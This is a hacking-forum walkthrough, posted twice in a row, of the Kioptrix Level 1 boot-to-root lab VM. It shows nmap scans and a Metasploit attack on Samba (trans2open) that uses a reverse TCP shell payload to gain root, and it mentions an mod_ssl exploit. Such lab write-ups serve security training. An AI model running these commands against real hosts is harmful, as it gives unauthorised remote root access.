[walkthrough] Kioptix Level 1 06-11-2013, 07:06 PM
#1
[Walkthrough] Kioptix Level 1
I am going to demonstrate how we can pawn Kioptix Level 1 Challenging server.
Kioptix series are well known , made by hackers for hackers.
You can download them at >>
It is safe to test on your own local machine.
Here we go
(0x01) Prepare for battle
We open the vmdk (vm disk) to boot the kioptix.
If everythings fine, you will see the welcome screen of Red hat linux logon.
There may be various way which we can take privilege.
But now I will demonstrate with MSF.
(0x02) Reconnaissance
We must first reconnaissance to our enemy
So I perform a basic nmap
![[Image: x9wU06e.png]](http://i.imgur.com/x9wU06e.png)
![[Image: RMS7Ti9.png]](http://i.imgur.com/RMS7Ti9.png)
Now we could see the general results showing services running along the server.
![[Image: D74UIAI.png]](http://i.imgur.com/D74UIAI.png)
I marked down the IP and load in the browser to see what we can take advantage.
The front page is merely a test page but wait there are some Links.
![[Image: UGn6KrD.png]](http://i.imgur.com/UGn6KrD.png)
Let's follow the links and you will see some mods.
![[Image: YYq0naE.png]](http://i.imgur.com/YYq0naE.png)
You can see ,they use mod_ssl which we can pawn with Openfuck.c. But right now,
I would take advantage of "netbios-ssn" service along with msf.
So I deep scan again using this cmd
You could see a bunch of ports with services are open.
Take a look at 139 port number.
It's sevice is "samba"!.
So, next....
(0x03) Launch primary weapon
So , I use my nuclear
~ Metasploit.
When I got to msf_console.
I search for exploits naming "samba"
As you can see , a ton of exploits and payloads are shown up.
I looked for linux samba and the exploit name exploit/linux/samba/trans2open.
For now we will use that one.
![[Image: pv969Cp.png]](http://i.imgur.com/pv969Cp.png)
Now, we have to configure the weapon to be maximum level
I started with general options
As you can see, we have to adjust current settings ...so
now , we have to choose which payload we should use.
So..
![[Image: WQnlDJr.png]](http://i.imgur.com/WQnlDJr.png)
A ton of payloads are shown up.
I choose linux/x86/shell_reverse_tcp
See options again.
we have to the local host with our IP.
So everything is configured and now we can start our attack.
![[Image: Jr2brcM.png]](http://i.imgur.com/Jr2brcM.png)
Boom~!!!
We can see shell sessions :dance:
type around and play with root
Regards
Mr.Geek@HC:~# logout
I am going to demonstrate how we can pawn Kioptix Level 1 Challenging server.
Kioptix series are well known , made by hackers for hackers.
You can download them at >>
Quote:http://www.kioptix.comChallenging servers are also called "boot-to-root"
It is safe to test on your own local machine.
Here we go

(0x01) Prepare for battle
We open the vmdk (vm disk) to boot the kioptix.
If everythings fine, you will see the welcome screen of Red hat linux logon.
There may be various way which we can take privilege.
But now I will demonstrate with MSF.
(0x02) Reconnaissance
We must first reconnaissance to our enemy

So I perform a basic nmap
Spoiler:
![[Image: x9wU06e.png]](http://i.imgur.com/x9wU06e.png)
Code:
$. nmap 192.168.37.1/24Spoiler:
![[Image: RMS7Ti9.png]](http://i.imgur.com/RMS7Ti9.png)
Now we could see the general results showing services running along the server.
Spoiler:
![[Image: D74UIAI.png]](http://i.imgur.com/D74UIAI.png)
I marked down the IP and load in the browser to see what we can take advantage.
The front page is merely a test page but wait there are some Links.
Spoiler:
![[Image: UGn6KrD.png]](http://i.imgur.com/UGn6KrD.png)
Let's follow the links and you will see some mods.
Spoiler:
![[Image: YYq0naE.png]](http://i.imgur.com/YYq0naE.png)
You can see ,they use mod_ssl which we can pawn with Openfuck.c. But right now,
I would take advantage of "netbios-ssn" service along with msf.
So I deep scan again using this cmd
Code:
$. nmap 192.168.37.128 -sV -PN -AYou could see a bunch of ports with services are open.
Take a look at 139 port number.
It's sevice is "samba"!.
So, next....
(0x03) Launch primary weapon
So , I use my nuclear
~ Metasploit.When I got to msf_console.
I search for exploits naming "samba"
Code:
msf > search "linux samba"As you can see , a ton of exploits and payloads are shown up.
I looked for linux samba and the exploit name exploit/linux/samba/trans2open.
For now we will use that one.
Spoiler:
![[Image: pv969Cp.png]](http://i.imgur.com/pv969Cp.png)
Code:
msf > use exploit/linux/samba/trans2openNow, we have to configure the weapon to be maximum level

I started with general options
Code:
msf > show optionsAs you can see, we have to adjust current settings ...so
Code:
msf > set rhost 192.168.37.128now , we have to choose which payload we should use.
So..
Code:
msf > show payloadsSpoiler:
![[Image: WQnlDJr.png]](http://i.imgur.com/WQnlDJr.png)
A ton of payloads are shown up.
I choose linux/x86/shell_reverse_tcp
Code:
msf > set payload linux/x86/shell_reverse_tcpSee options again.
Code:
msf > show optionswe have to the local host with our IP.
Code:
msf > set lhost 192.168.37.1So everything is configured and now we can start our attack.
Code:
msf > exploitSpoiler:
![[Image: Jr2brcM.png]](http://i.imgur.com/Jr2brcM.png)
Boom~!!!
We can see shell sessions :dance:
type around and play with root

Regards
Mr.Geek@HC:~# logout




![[+]](https://sinister.li/images/modern/collapse_collapsed.png)

![[Image: 4180_gif_by_d53865-d31l0il.gif]](http://fc06.deviantart.net/fs70/f/2010/299/7/7/4180_gif_by_d53865-d31l0il.gif)
